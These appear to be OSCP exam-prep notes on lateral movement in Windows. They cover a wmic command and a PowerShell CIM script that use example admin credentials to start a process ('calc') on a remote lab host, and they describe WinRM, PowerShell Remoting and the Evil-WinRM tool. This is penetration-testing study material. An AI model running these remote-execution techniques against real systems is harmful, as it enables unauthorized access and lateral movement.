Use of WMI and WinRM and Evil-WinRM
Use of WMI and WinRM and Evil-WinRM
Type 1: Using Powershell code (Shell Or GUI Needed)
Conditions for Using WMI (Explanation) To use WMI, you need credentials for a user who is a member of the local Administrator group or a domain user. It's preferable if the user belongs to both groups, as this can help bypass the User Account Control (UAC) remote restriction. To execute a command, use the following format:
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"Since WMIC is a deprecated function, we will use a PowerShell script to create the process instead.
# let's use the Powershell script to create a process of calc .
$username = 'jen'; # Set Username
$password = 'Nexus123!'; # Set Password
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.115.73 -Credential $credential -SessionOption $Options # Change IP to target machine IP
$command = 'calc';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
# Make sure you change IP address in the code.
# This code just make a new process of calc.Type 2: using winRM (Shell Or GUI Needed)
For WinRS to work, the domain user must be part of the target host's Administrators or Remote Management Users group.
Type 3: Powershell Remoting feature. (Shell Or GUI Needed)
Type 4: Using Evil-WinRM (No shell or GUI access needed)
We can use it directly in Kali Linux.
This tool is allowed in the OSCP Exam also.
First, verify the credentials and ensure you have access to the WinRM protocol on the target machine.
In the output, if you see '(Pwn3d!)', it indicates that you have local admin privileges for that machine and can attempt to log in using Evil-WinRM.
Now try to use the Evil-WinRM tool.
Last updated